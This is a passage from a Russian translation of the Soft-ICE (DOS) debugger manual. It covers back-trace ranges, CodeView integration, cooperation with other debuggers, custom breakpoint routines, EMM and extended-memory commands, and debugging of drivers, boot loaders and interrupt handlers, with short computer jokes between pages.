Эта команда выведет дамп байтов со страницы 3 указателя 1, начиная со смещения 0.

* Команда C должна быть указана следующим образом:

C Нуказатель# Рстраница# смещение1 Lдлина смещение2 где указатель и страница - то же самое, что и выше. смещение1 - число от 0 до 4000H, определяющее смещение от начала страницы, где расположен первый блок данных для сравнения. смещение2 - число от 0 до 4000H, определяющее смещение от начала страницы, где расположен второй блок данных для сравнения. Пример:

C H2 P4 00 L10 1000

Эта команда будет сравнивать первые 10 байтов памяти, расположенных по смещению 0 на странице 4 указателя 2 с первыми 10 байтами памяти, расположенными по смещению 1000 на странице 4 указателя 2.

Заметьте:

Последующие использования команд D, E, S, F и C будут продолжать использовать последние введенные указатель и страницу. Чтобы вернуться к обычной памяти, используйте одну из вышеупомянутых команд с сегментом, указанным в области адреса, например:

D 0:0

ГЛАВА 9

9.1 Введение

Soft-ICE может собирать информацию об инструкциях в буфер истории обратной трассировки во время выполнения вашей программы. Затем, после возникновения ошибки, эти инструкции можно просмотреть. Это позволяет вам вернуться назад и повторно пройти программу, чтобы определить фактический поток инструкций, предшествующих точке останова.

Информация об инструкциях собирается при входе в указанный диапазон адресов, меньший системного. Диапазоны могут быть от 1 байта до 1 мегабайта, так что если нужно, может быть получена полная системная информация. Использование определенных диапазонов вместо сбора всех инструкций полезно по двум причинам:

1. Буфер истории обратной трассировки не забивается посторонней информацией, которая вас не интересует. Например, вам может быть неинтересна обработка прерываний и выполнение в пределах MS DOS. 2. Диапазоны обратной трассировки снижают производительность системы, когда они активны. Ограничивая диапазон до интересующей вас области, вы можете намного увеличить производительность системы.

У Soft-ICE есть два метода использования инструкций в буфере истории обратной трассировки:

1. Команда SHOW позволяет вам просматривать инструкции из буфера истории обратной трассировки. Вы должны указать, на сколько инструкций в буфере вы хотите вернуться. 2. Команда TRACE позволяет вам вернуться и заново проиграть инструкции из буфера истории обратной трассировки. Таким образом вы может видеть исполнение инструкций в контексте окружения программного кода или исходного текста.

9.2 Использование Диапазонов Обратной Трассировки

Чтобы использовать диапазоны обратной трассировки, вы должны сделать следующее:

1. Зарезервировать буфер истории обратной трассировки желаемого размера, добавив переключатель /TRA в строку S-ICE.EXE в CONFIG.SYS. Например, чтобы создать буфер истории обратной трассировки в 100КБ, вы могли бы иметь следующую строку в вашем файле CONFIG.SYS: DEVICE = S-ICE.EXE /TRA 100 Буфер истории обратной трассировки в 10КБ зарезервирован по умолчанию. Если это подходит для ваших потребностей, вы можете не резервировать больший буфер. Размер буфера истории ограничен только количеством доступной расширенной памяти. 2. Активизировать диапазоны обратной трассировки, создав точку останова на диапазон памяти опцией T или TW. Например: BPR 1000:0 2000:0 T Опции T и TW не вызывают остановов, вместо этого они собирают информацию об инструкциях, которая затем может выводиться командами SHOW или TRACE. 3. Установить любые другие точки останова, если это желательно. 4. Выйти из Soft-ICE командой X. 5. После выполнения останова или если вы вызвали Soft-ICE горячей клавишей, вы можете просмотреть инструкции из буфера командой SHOW. Например, чтобы вернуться назад на 50 инструкций в буфере и вывести на экран инструкций, введите: SHOW 50 6. Чтобы повторно проиграть ряд инструкций, вы должны сначала войти в режим эмуляции трассировки командой TRACE. Чтобы начать повторно проигрывать последовательность инструкций, начиная за 50 команд в буфере, введите:

TRACE 50

7. После того, как вы вошли в режим эмуляции трассировки, вы может проходить через последовательность инструкций, используя команды XT, XP или XG. Это позволяет вам повторно активизировать ход программы. Например, вы можете пошагово пройти последовательность инструкций в буфере, начинающейся с инструкции, указанной в командой TRACE, вводя:

Руководство по Soft-ICE (DOS) - 21.

Смотрит геймер триллер. А там по тёмному коридору в страшном доме идёт девушка. Напряжение нарастает, играет тревожная музыка, и тут геймер не выдерживает: - Sаvе'ся, дура! Sаvе'ся!!!
XT
XT
.
.
.
XT

Команда XT пошагово проходит через буфер истории обратной трассировки. Команда XP производит программные шаги через буфер истории обратной трассировки. Команда XG проходит программу до адреса в буфере истории обратной трассировки. 8. Чтобы выйти из режима эмуляции трассировки, введите:

TRACE OFF

9. Для сброса буфера истории обратной трассировки, используйте команду X.

9.3 Специальные Примечания

В режиме эмуляции трассировки большинство команд Soft-ICE работает как обычно, включая вывод карты памяти и вывод и редактирование данных. Существующие исключения:

1. Информация о регистрах не сохраняется в буфере истории обратной трассировки, так что значения регистров не изменяются, когда вы трассируете буфер, кроме значений CS и IP. 2. Команды, которые обычно вызывают выход из Soft-ICE, не работают в режиме эмуляции трассировки. Это - X, T, P, G, EXIT.

Когда вы внимательно просматриваете инструкции из буфера истории обратной трассировки командами SHOW и TRACE, вы можете заметить странности в выполнении инструкций. Они вызваны скачками в и вовне указанного диапазона. Они обычно происходят при переходах, вызовах, возвратах и точках входа. Когда у вас проблема с зависанием или другая трудная ошибка, требующая диапазонов обратной трассировки, вы часто можете использовать очень большие диапазоны, чтобы захватить проблемную область. Как только вы получите лучшее представление об указанной проблемной области, вы перейдете к меньшим диапазонам.

Большие диапазоны обратной трассировки - очень медленные. Используя большие диапазоны, вы обычно пытаетесь получить общую идею о том, где проблема. У Soft-ICE есть специальный "ГРУБЫЙ" режим для обработки больших диапазонов. Это ускоряет диапазоны в три или больше раз, но ограничивает количество инструкций в буфере истории.

Грубый режим собирает только те инструкции, которые производят запись в память в пределах указанного диапазона. При повторном проходе инструкций в режиме эмуляции трассировки после "ГРУБОГО" диапазона вы заметите, что ход происходит скачками вместо последовательного выполнения инструкций.

Грубые диапазоны работают лучше всего для больших областей и менее эффективны для маленьких диапазонов.

Чтобы активизировать "ГРУБЫЙ" диапазон обратной трассировки, используйте команду BPR с опцией TW вместо опции T. Например:

BPR 1000:0 2000:0 TW

Для дальнейшей информации о диапазонах обратной трассировки см. описания для команд:

SHOW, TRACE, XT, XP, XG, XRSET, BPR

ГЛАВА 10

10.1 Введение

MagicCV позволяет вам выполнять Microsoft CodeView в менее чем 8КБ стандартной памяти на вашей ЭВМ 80386.

MagicCVW позволяет вам выполнять Microsoft CodeView для Windows в менее чем 8КБ стандартной памяти на вашей ЭВМ 80386.

Использование Soft-ICE в комбинации с MagicCV или MagicCVW позволяет вам иметь мощность Soft-ICE при удобстве использования знакомого вам продукта CodeView.

В оставшейся части этой главы, высказывания о MCV будут применимы как к MagicCV, так и к MagicCVW, и высказывания о CV будут применимы как к CodeView, так и к CodeView для Windows.

10.2 Запуск Soft-ICE с MagicCV или MagicCVW

Чтобы использовать Soft-ICE 2.0 и MCV вместе, вы должны установить S-ICE.EXE как загружаемый драйвер устройства. S-ICE.EXE поступает на дискете Soft-ICE. S-ICE.EXE заменяет NUMEGA.SYS в CONFIG.SYS. Используйте переключатели /MCV, /EMM и /EXT как при использовании только MagicCV или MagicCVW. Есть добавочные переключатели, которые вы можете захотеть использовать с Soft-ICE. Обратитесь к главе 6 для информации относительно этих переключателей.

Чтобы запустить MagicCV или MagicCVW, после того как Soft-ICE загружен, обратитесь к вашему руководству по MagicCV или MagicCVW.

Примечания:

MagicCVW требует Soft-ICE версии 2.00 или выше.

MagicCV требует Soft-ICE версии 1.02 или выше. Драйверы S-ICE.SYS и NUMEGA.SYS отправлялись с некоторыми версиями Soft-ICE. Драйверы S-ICE и NUMEGA.

Должны быть заменены S-ICE.EXE до того, как вы сможете запустить MagicCV и Soft-ICE 2.0 вместе.

10.3 Специальные Соображения

Две Виртуальные Машины.

Когда вы используете вместе Soft-ICE и MCV, вы должны иметь в виду, что CV находится в отдельной виртуальной машине от целевого окружения. Вы можете вызвать Soft-ICE из любой виртуальной машины, т.е., когда выполняется CV или когда выполняется целевая программа.

Если вы вызываете Soft-ICE, когда выполняется целевая программа, все работает как определено в руководстве по Soft-ICE. Если вы вызываете Soft-ICE когда выполняется CV (обычно при выполнении останова), вы должны иметь в виду несколько моментов:

* Регистры являются регистрами CV и НЕ МОГУТ быть изменены. * Для удобства, команда Soft-ICE, MAP отображает карту памяти виртуальной машины целевой программы, а не карту памяти виртуальной машины CV. Высвеченная область в карте памяти может быть неправильна. * Любой вывод или модификация памяти происходит в виртуальной машине целевой программы. * У вас нет никакой видимости в виртуальной машине CV кроме вывода значений регистров. Не забудьте, что при вызове окна Soft-ICE, когда активен CV, значения регистров являются значениями регистров CV и не должны изменяться. * Когда активен CV, в окне Soft-ICE отключается покомандная и программная трассировка. Это - чтобы предотвратить беспорядок, потому что фактически трассироваться будет CV, а не целевая программа. Если вы попытаетесь выполнить команду Soft-ICE Шаг (T) или Программный Шаг (P) когда активен CV, вы получите предупреждающее сообщение: "Функция не доступна в виртуальной машине CV". Чтобы вместо этого трассировать код целевой программы, вы можете выполнить одну из двух операций: * Использовать команду трассировки CV. Для этого выйдите из окна Soft-ICE, используя команду Soft-ICE X, затем сделайте один или более шагов CV, чтобы пройти через целевую программу. * Использовать Soft-ICE, чтобы пройти до адреса целевой программы, затем использовать команды Soft-ICE T или P чтобы пройти через вашу целевую программу. Для этого выйдите из окна Soft-ICE командой Soft-ICE X, затем нажимайте клавишу 'F3' пока CV не перейдет в "смешанный режим". Это позволит вам видеть как исходные строки, так и адреса команд. Вызовите Soft-ICE. Если окно Soft-ICE - еще не в узком режиме, используйте команду Soft-ICE WIN, чтобы изменить размер окна. Переместите окно Soft-ICE так, чтобы вы могли видеть адреса команд в левой стороне экрана. Теперь вы можете использовать команду Soft-ICE G, чтобы перейти на один из адресов. Обязательно введите полный адрес, включая сегмент и смещение. Затем введите 'G' в окне CV. С этого момента, CV не активен, так что вы можете использовать команды Soft-ICE T или P для прохода через целевую программу.

Команда CodeView SHELL

Если вы выполняете временный выход в DOS из виртуальной машины CodeView, оболочка DOS - часть виртуальной машины. Из-за этого вы не должны запускать ТSR'ы, когда вы находитесь в оболочке DOS. Если вы это сделаете, когда вы выйдете из CodeView, TSR исчезнет вместе с виртуальной машиной. Это - опасно, потому что любой невосстановленный вектор прерывания может вызвать зависание вашей ЭВМ.

Переключатель CV /R

Soft-ICE пользуется преимуществами многих возможностей 80386, включающих регистры отладки 80386. Это значит, что регистры отладки не доступны для CV, так что вы не можете использовать переключатель CV /R при запуске с Soft-ICE. Если вы используете переключатель /R, Soft-ICE выдаст вам общую ошибку защиты. В этот момент вы можете нажать 'C', чтобы продолжить, затем повторно запустить CV без переключателя /R и использовать точки останова Soft-ICE.

Переключатель CV /R работает, когда вы выполняете MCV без Soft-ICE.

10.4 Команда Soft-ICE ACTION

Команда ACTION предоставляет три различных метода активизации CV из точки останова Soft-ICE. Лучший выбор действия - ACTION NMI. Если вы испытываете проблемы с ACTION, установленным в NMI ( обычно потому что плата адаптера в вашей системе использует NMI ), используйте ACTION INT1.

РАЗДЕЛ IV - Дополнительные Темы

ГЛАВА 11

11.1 Использование Soft-ICE с другими Отладчиками

Soft-ICE разрабатывался, чтобы "сотрудничать" с другими отладчиками. Каждый отладчик предлагает разные возможности и, следовательно, требует специальной обработки. Этот раздел опишет способы эффективного использования отладчиков.

11.1.1 Отладчики, Использующие DOS

Много отладчиков используют DOS и ROM BIOS, чтобы выполнять их экранный и клавиатурный ввод/вывод. При использовании этих отладчиков с Soft-ICE (напр., DEBUG, SYMDEB и CODEVIEW) должны иметься ввиду определенные соображения, т.к. DOS и ROM BIOS не полностью реентерабельны. Если останов происходит во время исполнения кода DOS или BIOS, может возникнуть проблема повторной входимости.

Soft-ICE обеспечивает опциональное предупреждение о повторной входимости, активируемое командой WARN. Когда включен режим WARN, Soft-ICE проверяет DOS и ROM BIOS на повторную входимость до выполнения ACTION, активизирующего главный отладчик. Когда обнаружена проблема повторной входимости, Soft-ICE выводит предупреждающее сообщение и предлагает вам выбор : продолжить выполнение кода или вернуться в Soft-ICE.

Обратите внимание, что сам Soft-ICE не использует вызовы DOS или ROM BIOS в командах отладки. Это значит, что вы можете использовать Soft-ICE в любое время, не волнуясь о проблемах повторной входимости.

Для большей информации о команде WARN, см. часть 5.4.

11.1.2 Команда ACTION с другими Отладчиками

Различные отладчики используют разные методы активизации. Для описания этих методов см. часть 13.1.

Если вы хотите возвращаться к вашему отладчику после выполнения останова, вы должны изменить ACTION (см. раздел 5.4) для работы с вашим отладчиком.

В большинстве случаев действие, которое должно выполняться после останова, - INT3. Так DEBUG и SYMDEB будут работать лучше всего с ACTION, установленным на INT3.

Если INT3 не работает с вашим отладчиком, попробуйте INT1 или NMI. CODEVIEW работает лучше всего с ACTION, установленным на NMI.

11.1.3 Специальные Соображения

Когда установлена точка останова, вы должны быть осторожны, чтобы случайно ее не вызвать. Так, если вы установите точку останова в памяти в 0:0, затем используйте ваш отладчик для просмотра дампа памяти в 0:0, будет вызван Soft-ICE. Если ACTION установлено на вызов вашего отладчика, тогда ваш отладчик вызовет сам себя. Так как некоторые отладчики - нерентерабильны, это может быть фатальной проблемой. Эта проблема может также возникнуть с другими функциями отладки типа редактирования или дизассемблирования.

Руководство по Soft-ICE (DOS) - 22.

Сидит мужик перед компьютером, в DOOM играет. Давно сидит, мастерство оттачивает. Тут сзади появляется дьявол и говорит: - Я выполню любые твои три желания, но потом, сам понимашь, я тебя возьму в ад. Мужик: - IDDQD, IDKFA И В АД!!!!

По этой причине, хорошая практика - отключать точки останова Soft-ICE как только Soft-ICE поможет вам попасть в точку, где вы хотите осмотреться при помощи вашего отладчика.

11.1.4 Использование Soft-ICE с CODEVIEW

Soft-ICE лучше всего работает с CODEVIEW, когда CODEVIEW находится либо в режиме Ассемблера либо в Смешанном режиме. Когда CODEVIEW находится в режиме исходного текста с языками высокого уровня, он не всегда верно прерывается. Когда вы хотите, чтобы Soft-ICE вызывал CODEVIEW, лучше всего использовать ACTION NMI.

11.1.5 Отладчики, Использующие Регистры Точек Останова 80386

80386 имеет 4 регистра точек останова, которые доступны для использования отладчиками. Soft-ICE использует их для своих точек останова на память размером в байт, слово и двойное слово. Если отладчик, который вы используете с Soft-ICE, использует эти отладочные регистры, возникнет конфликт. Есть два способа решения этой проблемы.

1. Отключите использование регистров точек останова 80386 в отладчике, с которым вы используете Soft-ICE. Проверьте документацию другого вашего отладчика для получения описания того, как это сделать. 2. Некоторые отладчики автоматически используют регистры точек прерывания, если они обнаруживают процессор 80386 без методов их отключения (это делают некоторые версии SYMDEB). Для этих отладчиков сделайте следующее: * Вызовите окно Soft-ICE прежде, чем вы запустите другой отладчик. * Включите режим BREAK Soft-IСЕ'а командой BREAK (вы можете захотеть сделать это в выражении инициализации в S-ICE.DAT, если вы часто это делаете). * Запустите ваш другой отладчик. * При желании вы теперь можете вызвать окно Soft-ICE и отменить режим BREAK Soft-ICE. 11.2 Пользовательские Точки Останова Время от времени вам может требоваться очень специфический набор условий точки останова. Если специальные условия требуют ввода значений регистров или памяти, вы можете написать подпрограмму спецификации точки останова. Soft-ICE содержит очень общий механизм для вызова пользовательских подпрограмм спецификации точек останова: команду ACTION. При использовании команды ACTION, Soft-ICE может перенаправить все точка останова на специальный вектор прерывания. Однако, до перенаправления точки останова, в память должна быть помещена подпрограмма спецификации и вектор прерывания должен указывать на подпрограмму спецификации. Все регистры идентичны значениям во время выполнения останова Soft-ICE. Сохранение и восстановление регистров лежит на ответственности подпрограммы спецификации. Если ваша подпрограмма спецификации обнаруживает соответствие условий точка останова, она может выполнить множество действий. Вот некоторые примеры полезных действий, которые подпрограмма может выполнить, когда обнаружено соответствие: * сохранить информацию на будущее * послать информацию прямо на принтер или последовательный терминал * выполнить команду INT 3, чтобы вызвать Soft-ICE Команда I3HERE должна быть включена, чтобы INT 3 вызывал Soft-ICE (см. часть 5.4). Если условия не выполняются, подпрограмма спецификации должна выполнить команду IRET. Подведем итог: 1. Создайте подпрограмму спецификации точки останова в вашей области кода или где-нибудь в свободной памяти. Подпрограмма должна сохранять регистры. После проверки желаемых условий, подпрограмма может выполнить либо INT 3, чтобы вызвать Soft-ICE, либо IRET, чтобы продолжить исполнение. 2. Направьте неиспользуемый вектор прерывания на вашу подпрограмму спецификации. Это может быть выполнено либо из вашего кода либо из Soft-ICE. 3. В Soft-ICE установите ACTION на номер-прерывания, который был использован, чтобы указывать на вашу подпрограмму спецификации. 4. В Soft-ICE установите I3HERE ON. Это необходимо, чтобы вызвать Soft-ICE после того, как были выполнены условия. 5. Установите общие условия точки останова Soft-ICE. Когда выполнится любое из этих условий точки останова, будет вызвана ваша подпрограмма спецификации. 11.2.1 Пример Пользовательской Точки Останова Эта часть содержит пример пользовательской точки останова, которая проверяет условия AX = 3, BX = 4 и CX = 5, когда происходит выполнение точки останова. Сначала мы создаем подпрограмму спецификации. Для целей этого примера, мы будем транслировать команды прямо в память при помощи интерактивного ассемблера Soft-ICE. Для этого примера мы будем произвольно транслировать подпрограмму с ячейки 9000:0H. В Soft-ICE, при этом, вводятся следующие выражения:

A 9000:0
9000:0 CMP AX,3
9000:3 JNE 10
9000:5 CMP BX,4
9000:7 JNE 10
9000:A CMP CX,5
9000:D JNE 10
9000:F INT3
9000:10 IRET
Теперь, когда подпрограмма находится в памяти, вы должны направить на нее вектор прерывания. Для этого примера, мы произвольно выбираем INT 99H. Чтобы поместить 9000:0H в вектор INT 99H, введите:
ED 0:99*4 9000:0
Установите команду ACTION, чтобы Soft-ICE вызывал вашу подпрограмму спецификации точки останова при каждом останове.
ACTION 99
Установите I3HERE, чтобы подпрограмма спецификации активизировала Soft-ICE при выполнении условий.
I3HERE ON
Теперь вы должны установить точки останова. Для этого примера, нас интересует только когда регистры: AX = 3, BX = 4, CX = 5 в специфической программе и нам не нужно никаких дальнейших уточнений. Чтобы это сделать, используйте точку останова на диапазон на чтение памяти:
BPR сегмент:начальное-смещения сегмент:конечное-смещение
Это вызовет обращение к вашей подпрограмме спецификации точки останова после выполнения каждой команды в указанном диапазоне памяти. Когда условия по регистрам не выполняются, тогда выполняется команда IRET. Когда условия, наконец, будут соответствовать указанным выражениям, будет выполнен INT 3 и вызван Soft-ICE. Когда вызван Soft-ICE, указатель команд будет указывать на INT3 в вашей подпрограмме спецификации (9000:FH в нашем примере). Чтобы попасть на инструкцию после той, которая вызвала останов, вы должны изменить указатель команд, чтобы он указывал на команду IRET (F000:10H в примере) и выполнить один шаг. Это выполняется при помощи следующих команд Soft-ICE.
RIP IP + 1
T
После выполнения ваших условий останова, не забудьте изменить команду ACTION обратно на ACTION HERE, чтобы последующие точки останова не проходили через вашу подпрограмму спецификации. 11.3 Окно в Графическом Режиме При вызове Soft-ICE экран переключается в текстовый режим. Если экран был в графическом режиме или режиме с 40 столбцами, графический дисплей не видим, то когда окно вызвано. Для пользователей, которые должны видеть графический дисплей при отладке, обеспечиваются три возможности. Первая возможность позволяет выводить окно Soft-ICE на второй монитор (см. команду ALTSCR, часть 5.9). Вторая возможность позволяет вам восстанавливать экран во время выполнения командных шагов P или T (см. команду FLASH, часть 5.9). Третья возможность позволяет вам временно восстанавливать экран программы (см. команду RS, часть 5.9). Если не похоже, что Soft-ICE работает с вашей программой в графическом режиме, пробуйте включать WATCHV (для подробностей см. часть 5.9). 11.4 Возможности Отладки с Отображаемой Памятью Точка останова на диапазон или память, находящаяся в отображаемой области EMM будет оставаться по этому адресу, неважно какая страница EMM отображается. При отладке EMM-программы также может быть очень полезна команда EMMMAP. См. часть 5.6 для большей информации. Для просмотра или изменения любой зарезервированной страницы EMM могут использоваться команды D, E, S, F и C. Страница не обязательно в этот момент должна отображаться. Синтаксис этих команд подобен командам, используемым для не-EMM страниц, кроме следующего: * В командах D, E, S и F адресная часть команды должна быть указана следующим образом:
Нуказатель# Рстраница# смещение
Где указатель - число, определяющее, какой указатель EMM использовать, страница - число, определяющее, какую страницу EMM использовать, и смещение - число от 0 до 4000H, определяющее смещение от начала страницы. Пример:
DB H1 P3 0
Эта команда выведет дамп байтов со страницы 3 указателя 1, начиная со смещения 0. * Команда C должна быть указана следующим образом:
C Нуказатель# Рстраница# смещение1 Lдлина смещение2

Где указатель и страница - то же самое, что и выше. смещение1 - число от 0 до 4000H, определяющее смещение от начала страницы, где расположен первый блок данных для сравнения. смещение2 - число от 0 до 4000H, определяющее смещение от начала страницы, где расположен второй блок данных для сравнения. Пример:

C H2 P4 00 L10 1000

Эта команда будет сравнивать первые 10 байтов памяти, расположенных по смещению 0 на странице 4 указателя 2 с первыми 10 байтами памяти, расположенными по смещению 1000 на странице 4 указателя 2.

Заметьте:

Последующие использования команд D, E, S, F и C будут продолжать использовать последние введенные указатель и страницу. Чтобы вернуться к обычной памяти, используйте одну из вышеупомянутых команд с сегментом, указанным в области адреса, например:

D 0:0

11.5 Возможности Отладки с Расширенной Памятью

Команды D, E, S, F и C могут использоваться, чтобы просматривать или изменять расширенную память. Расширенная память, зарезервированная Soft-ICE, не может выводиться на экран. Синтаксис этих команд подобен командам, используемым для стандартной памяти:

* В командах D, E, S и F адресная часть команды должна указываться следующим образом: M адрес мегабайта где мегабайт - номер, определяющий какой мегабайт использовать и адрес определяет адрес в указанном мегабайте. Пример:

DB M 2 0:0

Эта команда выведет дамп байтов с начала мегабайта, начинающегося с линейного адреса 200000H.

* Команда C должна указываться следующим образом:

C M мегабайт адрес1 L длина адрес2

Где мегабайт и адрес1 - то же, что и выше. адрес2 определяет адрес в указанном мегабайте, где находится второй блок данных для сравнения.

Руководство по Soft-ICE (DOS) - 23.

Invalid user. Replace and strike any key to continue.

Пример:

C M 3 1000:2000 L10 3000:4000

Эта команда будет сравнивать первые 10 байтов памяти, размещенной с 1000:2000, с первыми 10 байтами памяти, размещенной с 3000:4000.

Заметьте:

Последующие использования команд D, E, S, F и C будут продолжать использовать последний указанный мегабайт. Чтобы вернуться к мегабайту 0 (стандартная память), выполните одну из вышеупомянутых команд с 0, указанным как мегабайт, например:

D M 0

ГЛАВА 12

В автономном режиме Soft-ICE может быть мощным инструментом. Эта часть описывает технику отладки компонентов системного уровня, используя Soft-ICE в автономном режиме. При использовании Soft-ICE как автономного отладчика, ACTION должна быть установлена на HERE.

12.1 Загружаемые Драйверы Устройств

Отладка загружаемых драйверов устройств DOS требует отладчика, который не выполняет вызовов DOS. Soft-ICE может использоваться в автономном режиме, если ваш отладчик использует DOS.

Есть два метода отладки загружаемых драйверов устройств: 1. Используйте команду MAP, чтобы найти расположение вашего загружаемого драйвера. Просмотрите заголовок драйвера устройства, чтобы найти точку входа в прерывание или стратегию. Установка точки останова на вход в стратегию или прерывание даст вам контроль над драйвером устройства. Далее трассируйте или устанавливайте точки останова для продолжения отладки. Отладка кода инициализации драйвера устройства требует сброса системы командой BOOT. Используйте вышеописанную методику для установки точки останова в коде драйвера. Команда BOOT будет сохранять Soft-ICE и точки останова. 2. Второй метод требует размещения специального кода в вашем драйвере. Сделайте это при помощи команды I3HERE ON (см. раздел 5.4). Поместите опкод INT 3 (CCH) в ваш драйвер устройства в точке, где необходим контроль. Когда выполняется INT 3, управление переходит к Soft-ICE. Затем вы можете использовать команду R IP для установки указателя команд для переходов до и после опкода INT 3.

Если вы хотите отлаживать вашу последовательность инициализации, удостоверьтесь, что Soft-ICE загружается в CONFIG.SYS до драйвера, который вы пытаетесь отлаживать. Поместите команду I3HERE ON в строку установок в S-ICE.DAT. При этом методе вам не нужно использовать команду BOOT.

Если вы отлаживаете ваш драйвер устройства с символами или по исходному тексту, вы должны загрузить файл символов и исходные файлы отдельно от драйвера устройства. Файл символов и исходные файлы загружаются загрузчиком программ Soft-ICE LDR.EXE. Когда LDR.EXE используется, чтобы загружать только символы и исходный текст, вы должны использовать его в форме:

LDR название-файла.SYM

Должно быть указано расширение файла символов. См. часть 7.4 для больших подробностей относительно LDR.EXE.

После загрузки файла символов и исходных файлов при помощи LDR.EXE вы должны войти в Soft-ICE и переместить символы относительно начала вашего драйвера устройства. Символы перемещаются командой Soft-ICE SYMLOC. Синтаксис команды SYMLOC:

SYMLOC сегмент

Значение сегмента получается из команды MAP. См. описание команды SYMLOC для больших подробностей.

12.2 Программы Начальной Загрузки

Отладка программ начальной загрузки или самозагружающихся программ требует использования Soft-ICE как автономного отладчика. Вы должны сначала загрузить DOS и запустить Soft-ICE. Самый простой метод отладки программ начальной загрузки - установка точки останова на известный адрес в загрузчике и затем использование команды BOOT для сброса системы. Soft-ICE сохраняется во время всего процесса начальной загрузки с установленными точками останова. Если тяжело найти известный адрес, то можно установить точку останова на выполнение в 7C0:0H перед использованием команды BOOT. Это - адрес, по которому ROM BIOS загружает сектор начальной загрузки в память.

Другой метод требует включения режима I3HERE (см. часть 5.4). Поместите опкод INT 3 (CCH) в вашу программу в точке, где необходим контроль. Когда выполняется INT 3, управление приходит к Soft-ICE. Вы также можете использовать как символьную, так и отладку по исходному тексту при отладке программы начальной загрузки. См. команду SYMLOC для большей информации о том, как переместить ваши символы и исходный текст в сегмент, в который загружена ваша программа начальной загрузки.

12.3 Обработчики Прерываний

Soft-ICE позволяет устанавливать точки останова и пошагово выполнять подпрограммы обслуживания аппаратных прерываний (таймер, клавиатура и т.д.). Пошаговое выполнение и установка точек останова в программах обработки прерывания поддерживается Soft-ICE. Вы даже можете трассировать обработчик прерывания клавиатуры, когда Soft-ICE использует клавиатуру для ввода. В большинстве случаев при отладке программ обработки прерываний, Soft-ICE должен использоваться как автономный отладчик. Чтобы установить точку останова на адрес обработчика прерывания, используйте один из следующих методов:

1. Используйте команду вывода двойного слова:

DD номер-прерывания * 4 L 1 Выведенный адрес - адрес первой команды обработчика прерывания. Установите точку останова на выполнения на этот адрес.

2. Используйте команду:

BPINT номер-прерывания

12.4 Операционные Системы, Отличные от DOS (non-DOS)

При помощи Soft-ICE могут отлаживаться операционные системы режима реальной адресации, отличные от DOS. Если операционная система слабо совместима с DOS, вы должны загрузить Soft-ICE под DOS, а затем использовать команду BOOT, чтобы запустить другую операционную систему. Следуйте инструкциям для отладки блоков начальной загрузки и самозагружающихся программ из раздела 12.2.

Команды MAP и WARN могут неправильно функционировать под другими операционными системами, но точки останова и другие отладочные команды будут работать правильно.

При отладке с символами или исходным текстом вы должны загрузить символьные и исходные файлы под DOS или в DOS-совместимом режиме вашей операционной системы.

ГЛАВА 13

13.1 Активизация Других Отладчиков

Soft-ICE работает с большинством других отладчиков, пользуясь преимуществами отладочного прерывания семейства 8086 (INT 3). Большинство отладчиков используют однобайтовую команду INT 3 (CCH) для выполнения точек останова. Целевая команда заменяется на INT 3. Когда выполнение достигает целевого адреса, управление передается обработчику INT 3 отладчика. Затем отладчик заменяет (CCH) на первый байт первоначальной команды.

Когда выполняются точки останова Soft-ICE, в зависимости от команды ACTION, может произойти одно из нескольких событий. Обычно при использовании Soft-ICE с другим отладчиком, ACTION устанавливается на INT3. Когда выполняется условие останова, Soft-ICE передает управление главному отладчику при помощи эмуляции INT 3.

Некоторые отладчики могут работать неправильно при эмуляции INT 3. Для этих отладчиков обеспечены две другие опции ACTION. Это - INT1 и NMI. INT 1 - пошаговое прерывание семейства 8086. Большинство отладчиков будут обрабатывать незапрашиваемый INT 1 как точку останова. NMI поддерживается большинством отладчиков как средство выхода из зависания. Эти отладчики были разработаны для аппаратных переключателей выхода, которые производили немаскируемое прерывание. Когда ACTION установлено на NMI, Soft-ICE эмулирует немаскируемое прерывание (Interrupt2). CODEVIEW работает лучше всего с ACTION, установленным на NMI.

13.2 Основы Виртуальных Машин

Магия Soft-ICE стала возможной из-за возможностей виртуальной машины процессора 80386. Soft-ICE выполняется в защищенном режиме 80386 и управляет окружением DOS. Схема защиты 80386 дает Soft-ICE полный контроль над окружением DOS, в то же время защищая его от "капризных" программ.

Как генерируются точки останова Soft-ICE?

Soft-ICE использует три разных возможности 80386 для создания точек останова:

* Точки останова на ячейку памяти используют регистры останова 80386 * Точки останова на диапазоны памяти используют механизм страничной организации 80386 * Точки останова на команды ввода/вывода используют уровень привилегий ввода/вывода и битовую маску ввода/вывода Как выполняется команда BREAK?

Команда BREAK позволяет использовать клавиатуру для вызова Soft-ICE, даже когда прерывания отключены и система зависла. Soft-ICE виртуализирует механизм прерываний, так что для Soft-ICE прерывания никогда не отключаются, даже когда они отключены для программы DOS, выполняющейся в виртуальной машине.

В режиме BREAK виртуализируются следующие команды, чтобы удостовериться что флаг прерывания никогда не сбрасывается:

PUSHF
POPF
STI
CLI
INT n
IRET

Специальные соображения о виртуальном режиме 8086.

Soft-ICE выполняет DOS в виртуальной машине 8086. Эта возможность - главная особенность микропроцессора 80386. При выполнении программ реального режима (DOS и т.д.) в виртуальной машине, программой, контролирующей виртуальную машину, должны эмулироваться некоторые особенности 8086. В нашем случае виртуальную машину контролирует Soft-ICE. Soft-ICE поддерживает следующие особенности:

* Функции прерывания ROM BIOS 15H : 87H, 88H и 89H * Недокументированная команда loadall * Управление Адресной Линией 20H * Команды защищенного режима 80286 и 80386 * Ошибки 80386.

Функции прерывания ROM BIOS 15H : 87H, 88H и 89H.

Функция BIOS 87H позволяет программе обращаться к памяти выше одного мегабайта на архитектуре IBM AT или Personal Series II через механизм перемещения блоков. Функция 88H возвращает размер расширенной памяти. Эти функции используются драйвером устройства VDISK. Soft-ICE эмулирует эти вызовы BIOS для совместимости с VDISK. Функция 89H обычно используется для перехода в защищенный режим, но Soft-ICE не может позволить этому случиться. Вместо этого возвращает установленный флаг переноса.

Неописанная команда loadall

80286 содержит неописанную команду, называемую loadall. Эта команда первоначально помещалась на чип в диагностических целях и в основном не используется программным обеспечением. Однако, она используется некоторыми версиями RAMDRIVE фирмы Microsoft, который продается с Microsoft Windows и MS-DOS 3.2. Soft-ICE эмулирует loadall, чтобы обеспечить работу RAMDRIVE, однако, невозможно произвести полную эмуляцию этой команды.

Управление Адресной Линией 20H

